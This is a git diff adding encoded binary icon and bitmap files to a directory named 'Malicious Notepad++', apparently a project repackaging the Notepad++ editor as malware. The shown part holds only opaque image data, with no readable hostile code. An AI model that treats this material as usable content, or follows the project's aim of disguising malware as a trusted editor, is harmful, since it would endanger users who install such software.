zn!h|?8C3D?U%zMk`aSd4^BK=3`b~hl2WSh>igjDotee>d6g=N?{?YnJzgL45&-nFf z!b_mYmuFw#>d_b-D5&Z5b{99GmROD)B;qt zHQDsW>}Y~orZ?mR5m4p-vol|AsUfHZs2J!bp!q~Etrb=D(1npz|}vz{;*fK2dD*Z6p#T_22?Dw?HybTL_JXPW}8iS3T^|n0ND^N z5XJtdKbjnPufOj-Pf{aLF$CSrx$$f5uirC%A!`v?^|1Bf*X-+G0zg_m$ZmZH)B?Dva51?9r4wJ>u0#^+81=yA^ j+1Ef06Q6Mc;v|SHnqp)vK);|VhR9+iA$~zN8B-YmudXXS literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/funclstReload.bmp b/Malicious Notepad++/src/icons/funclstReload.bmp new file mode 100644 index 0000000000000000000000000000000000000000..37994570d1dc611108ba53f86e6fb570695cad6b GIT binary patch literal 1146 zcmbtQe^Aq97=PDyh~Gi7Ya|Vti(dlrb087nY3(%aT9Tcact%A_E4w5jmvqXNmnjy8 zAe>^Cg@T-hFh=Ov&f_-VFe$o-;iTfn7~?iJ#&=^3n4iAOzMa=!-Syl(@AKT}{d_*} z^SttBOZeokC}GdH*%bbrJn{(JvBBPpg6`&BfDrk{=ilS{|61?+7co;K$hsGb{+No1 zJV+HuDk)<`C2@<-5=MH4%%;?n-i*^knOI5ad->w306h2!Rp!T5R`XRWFD*g*uR(|! zqY-WnK$wXj%t|0(Yg8XWTrHVOIziTP9`QFry^@~g5FR9+*v??2+r)U(B0}1D0FuU+ zB5ooOktPZcj}U}gSg&D%6=w-jYe=@=Bl(92X5;*N$Sl#=Fr5sAEfM*y^-#_1!?xR5 zc)VvB(gp;GW@nL%vid&=ga+25jCj+|5W$*(1V-ii5CyJ0>~d~K>0&Wn>fMRtMt;L% zmxHobf5Vr`YWWpwuL)eMOo0eD@*uoL@IWiUs?Uh>iQiM06ZjIUxnk^_+k=vYH}UFt z0pgoNx)Lr?QQV%2b~^Q`&if%9TZ)i=3iM3^@gbghtts7AkMD6FEv!p3%9(1^SnD9y z$?rtg6a9vtgu$H0nr8ZZOgD{)4nCG&`@dE9IxW&EDfut&$L}>B*=(@2egLL(547({fl3+Bz6HLPr{PvVgWrzDf_tz3 zP+V|d=?eX5^X@y&{;x4>sDfwk0H(FMur`LFeFt$l^*bjp(*syf0k&F9ek-3dmdB=Y z9=bO~Q9mEf=(6i~!~R_k%ykls)Cgdz=HqHU#n@YA%Ed7atGx){=rJq~AHh&XlB+3q zS;aYdko060o!ziW&|uOOVW#V4Ok7BS`CKH%zY4*%SC%l2wj6=8W2+aQA^66susCuU zzL8H^ZUHP!xp3$T;W2&z*NxX;Rp(%`F%6^D5|~f3`usq~Kc~GVJ=@(|48I2~b(l9E zfY(qAZ+{`&H}c`^P+fw$9n{!qkFE1E2K@ ze3k|*3?GMg=qNk``(eAX6}OJBM%UhOm0zRI6P2~?2>Iu){g_>oNl&RWln(9oUdQ#f hW}W&XX0rK3x9NhyXedu9`fKLIhw?0NtI literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/funclstSort.bmp b/Malicious Notepad++/src/icons/funclstSort.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c28f0967404800d683967c8911f8876e94f399b0 GIT binary patch literal 1146 zcmb8s(MwZN9Ki9jU6~tcCaX@}mm~(_n-B!OELcQ=M9^PQJp_VJR!|$1Z&nbf5OiU% zw;sY5;X+XQ5SCDcU?j;1QdmR}l0J06Iiy>QemDNxm!iz!Fnk=3>nvG%QRr-a2u&;?h~1+p zSN386r(*r&9wfd_fA_a4zT+4@7t#GiU-eBE)$CMJy^@+{;(pnDI=`90LM$U|E?!($ z8*?M-kC57}@66})?;~iS>UwYPsycqXt)w=wAvIQ9e`g-@n}aZrzcPw~mrEabQUSA3f2(lD?{%s;u@>ESWXZ$FgJ7ZIRPf7+{IV3C-Y zndjHi<5+>`&Y%uqko#IYs$pQUYyS0Z)q`~`<3ntV9Ljl(XTFAk#jbhT^Zvd!iUw}r z(fqA+lRPZFAJZo^3@rAXUwW9$U=3$542$Ufug{#+FtFHjUherkb?_=)BE-C`N&E~8 k8U_|^=f4Db4)$Hfe>y5l9qT zOn6OE%+(P{6nYI!l{7d4i9)Yoo00}cAW`V`NnA;TBakTc`dp!;!4XIldVR`N(%=Xr z3cWsaDQR#75{15gfwhtbM<7vX3C16ym?L-0HBo2@6(|gjK%&s=x0#X#M<7w?^-Enz zgCmeA^!nXAB*NebBnrKzLMmx+1QLZ_)1;I%I0A`6UsEVrNrNMhD6|ygFHsmAfy7*U zO)XW@;0PoNy{4ThX>bG*gD{k&fXHrlswd*r|| zyKgja=WW{_kNxF5w^?&Dw*A=mV_fIQtdHZEHTUQG`Mf7C828(`-Cy;f12^aC=c>=A oLUO&$9!WHvzrgQqS_wcxLBW{yko*-wTZIa{vGU literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/functionList.ico b/Malicious Notepad++/src/icons/functionList.ico new file mode 100644 index 0000000000000000000000000000000000000000..a9cae008280d627debbec51f6c355dc7ab4373b3 GIT binary patch literal 1366 zcmZ{jF-sgl7=~Zrf`=T!ZgB*;Vh=75>#6L5y6Qk$dwLm-MjCw|>E`Q4#s;!{OJ?NcR=*g+&4cOv(UBUBhMLW$TCJ9f zqENftR;Sa^w;$J9UtibG&W^UWwzRpqsf~>d4c?fxw@vSKD!YyvpZ?V8<)z+!`izOA zd0L>wI&^3b&7rxZ!H`lsy645CdvuSUrUmqX9tZ+@KIuM2P4{Y{V9`v!iz` z?pVk%$+78dPv>B8FgO?-3>gUq2ZMvb!Qf!Xm@qgP91IQy2SY}O!NK5Qa4S4)cV9@j8Vezo!vcTct@NjrIJRG@HaCjIz z3?7D5IuD13!NU;qxyQPM_|!LXE^n$1RCovSa;fnSFa=Bl1_7pkcVIB!9qeUJgd-*nHkOZ@ zNfDL^O9Ucfm_GqnA`>G?5h23DkH$KjNrWY)dSsULHKbEOgTY`h7z_r3!C=Ur6ATds zgTY{kFt7}bd>9M{gTY{6X&O2V27|$102uy}#f*tYl4lK1?BTGycFOVU>VtN7ceS^- zr~UnX9UL6!l9`I=1+ zyTdh`nZ2mTp2H-`4=)zpcSoOZo*`>+y~N literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/imprim_off.ico b/Malicious Notepad++/src/icons/imprim_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..b52208478816d25dab8b9c715af4539b95eb78f3 GIT binary patch literal 2998 zcmeI!KS*n59LDj-+Y5H`c2x?xM7o+?Z^xJ^i)PPgKpL`zi#Je^ObJAAlslACk|~SC zEjT35!Rbtrq2!NLxIz$$g$}=df9H5&Vv`PCI<)WcJ?G7NKJR;8-}7E?q!qo<*49_@ z^6MLEo9ot=f0BOsQd;{$`iAxv^;_zS-g1`8*tkT!<4@Z*DihspTMuvoH=kRHK(*MTc4R3hE8{Y6tsLzD1cwOhbt|G51laVI)0Y1QY z@ojtqzhwJpi0|Q>_!_>5&*GPCAI1&T!dLNmdVY0KglFHm3; z`~V-|yZAPq#aXgI0SnQhR;hVvikhGGt+kH#axBzP{Gw<)s>phAu8H zRIk@{dU~o-sifoMW94!=9UdMkola|SZ%@f&Qrp|x+Su68+S-~Xf0%yw^ywe}KXrf4 zrt&hLFVW3{?kQp0#@>v|cr*_0jS32Z3*VsAGWL8ln&tqDqz~|!r+I1?_g|EojmX0p z__(G~JUn_VQtwY5-S+24e~D=@zpzctBf?^%k?c1L1C5sDVW;{0^?E1SgLQXw4J$-xQ>DHSYIhAocc7%Q7# zI!U2$MXEtCSR4xBnt%k399;3=@0)SVnAIz;x#I3k{xi?{f8LunZ=PnP9lcRD`(Cd6 z{zf|Bn9aIR(l6gisc)q3sAq}qi5nk1<=o6&(iRSgCMjxJ&0pUhm1 zU~{M3?*H=Y#1$i(h|MurT#zrdD984NZl< z$@5v~E;>`GaU)eOrD9#mmlVwLBYYR%#@F#>>?v`AKf)j4J^UV?etSK93tz(*@E$h& zX5obwUU-!>$B*z`d>dcKm+`0g6HRr5Kg4_ZJ^TVc!w2{wzK{3uKE8u*;4AndK94uN z;SFzi!yDdhQ??tnOSU>&DfA2c3?JZ!_&(nC?xQ>C2D*YSqVx1W$B*z`d>dcKm+`0g z6Z{eW5bxpl@bug3;am6`zJT}e!oQv!W^Ili;k)=YzK$>BPw^-CBWClE+4PvrJ^TVc z!w2{wzK{3uKE8u*;4AndKJR|x@P;?M;SFzi1~g?rH$1LO9#@^mRVqmf{0tx9hxk6; z$8T9an&U_KF20Sg+0%ColZv= z7Z++Y8ah8eSEW+X+1Z(j#iEXnkCo5ob#QQ?{r!EVQYkI|GX3=V^FRJSmC3NET$!ww z=wwbAN?5lEms^&}coLqg<`e=axaF5JartU>l?Rv`?y_(-mmQDe_M7tKag}^H0@tx= z9QU7c?a8|K`q3{j6~;$4%yWsb*mx}agF;8+ZTYZ+^?Z8S!M65mdD`<#;{L_x za_J?A+q=<)*XKPY^*T@cFzx2o%@z5$1J^z*w07;osZ8dhn_un|`M86q^=iLrpG!wi zIP8~ego)*jd(Xuy#O2qssT8A4$31SyPV^XO-7(oSZMnzC=a+n9eF4Ml6goscWt?)XOdrK-4`qx$L4H&7aTXV zO=Mlw;xWHE|F<81{2=}CjyGc7j(H`HVwYnk5#;5 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/indentGuide.bmp b/Malicious Notepad++/src/icons/indentGuide.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a12342d10c8dad61b1ec8b5575f6cf1f749bf93e GIT binary patch literal 246 zcmZ?r{l)+RWk5;;hy|dSk%0v)(EuhP1WXRX1IhpqLqh|E0+K)`!+`?_fHX+rKNvCm z{|{mTF%W`;fJAwDc?}RFz?m~O#}T~pav=W<5Fmu61NmSTPb;@5Jkr#5=|s`Q92M+`WyfXuD}(zM%<-KpBv;DK0xk(k3dObG5L7J@a46= zYm+8Y7JL17cIN$IO@l~=&vGfv_<9t1f_lNd#J$0t$unk=0(*aB>~_0Rjed{HZjxb< z=mNNY3R|!aowXT=o5iq;!NGS6Llr*Wo2JBH)`v=XYt~x1tvRwsBQa3v;o91ueX6i#eAb@H4m$-m(}X z{)>vfbmL!P-Oo-7D@>Uk%AK=D!ek4FN5upSXL7f!Tb+-xaClTOmbDck5)Nl_x2%zX zDo^Xvofcjd6@6Ha1A?UwW+Ldz6z$0@oXiAI;9!dOLKDMq&+)2J77RD-oR&zzat_Kv z`27~%RUiCUEQaC37T%$q0546az|$>S{B-z$1-5|Q@Ar4YJ1q>38GN>|ePz z#WXBefyr>T;Iw}|`2_4p4|>pd{m@Jw&Z0#v>+&Rdb(C3INmi7SX(0=|i~KAyuSI4j r{H-{`wZdIO7l=X5@yxMaR3dBazadX+l%HjWcR5!ra@BHSwwQka+z1f* literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/indentGuide_on.ico b/Malicious Notepad++/src/icons/indentGuide_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..d87f8139bfe5cbfe157f0347435b163c39389ab8 GIT binary patch literal 3262 zcmeH~F>b;@5Jkr#5=|s`Q92M+`WyfXuD}(1jkrsfbL1F40C&Jgprk-dKAvd&v+G?O zQbmgKn!mF%?~fN3Mx?-Jxs>ksd=zKyWMS#R(e~$2rQ<$ zRQkGCVGGug@m>`t!e%kz(!s&+EdWpR4el1(?bckPE-3KRqBo)xlMHu@)oL~FLKZ20 z3}=gR7widk)y`;t7>;}4DKsMBo5k?GRLV!N{{hW_K`^i|7u(eG1k*u_u5QxBX;J6>jofYF@KJGxg)=jqdk(}+7F?LujAdYk-~BuB{49L1mwYKfVG?$m5K~9^T8A<6(6J_8S$#Bg4GlxACDo3 zpaguj$V2k0Zh8e zYg#GlMhdNEf#;{Zh|JF-vlISS96@g}8t57^$T_}C%onZ58tZS!(=*C1GQ;yXSFKCc IX5nvJU!5D|e*P?fl3g7iH#ko1O_YRWxP;!i%1f@XK9KkhbpvV!nM4||9@{y9&Dng_J zLQyqU2lj^qbq$Ppvx3p^>{9$>s0I6RNUAsw$-V zkyhcQuIX!3b)q#~(-POI!TJ3a=_BF%)uL_NrLDKzb_3fD{Pi0!1!0D-@Wxu*!wY4t z@j-CZnl%!5N6=XfNqMK#jUo}Ol|qIi!Ri>CQ`t@_7lYB>_~=}Y%(2013vUcJW7aty z%=1X>55&Ic!j3S6wZ~yXDIvya(aZBC_IV4WoR$FYNxtDf^Ypq7x=W#bRn$Og)r9zQJIM@aH5V7 V8K5ro1CGovuguut>X)wlso#zwh8O?< literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/newFile.bmp b/Malicious Notepad++/src/icons/newFile.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1b9ce9ff08b239989967756adebf9f9387db8d26 GIT binary patch literal 1334 zcmeH_p>Kmg6o-GXu9U4~q!}Aqxl8IcS<|F;a>>kOZ6y+kMIw>4NFpIz2%oEcaOn=~i{(z?0m(W#3y&>g&m~+E2=H}p6#*!}$b@16EowJm| z^#_X^qx|aDdcGgk^VLGv?|%Dp&KS2x&i*=Mjx)*&T@OxY9dS)rd#-3h8KVhPH QEp)ga=Td3oCq!2J29Lb&lK=n! literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/new_off.ico b/Malicious Notepad++/src/icons/new_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..67c294517274d8b9b9d7d1567182ae4b51697371 GIT binary patch literal 2238 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 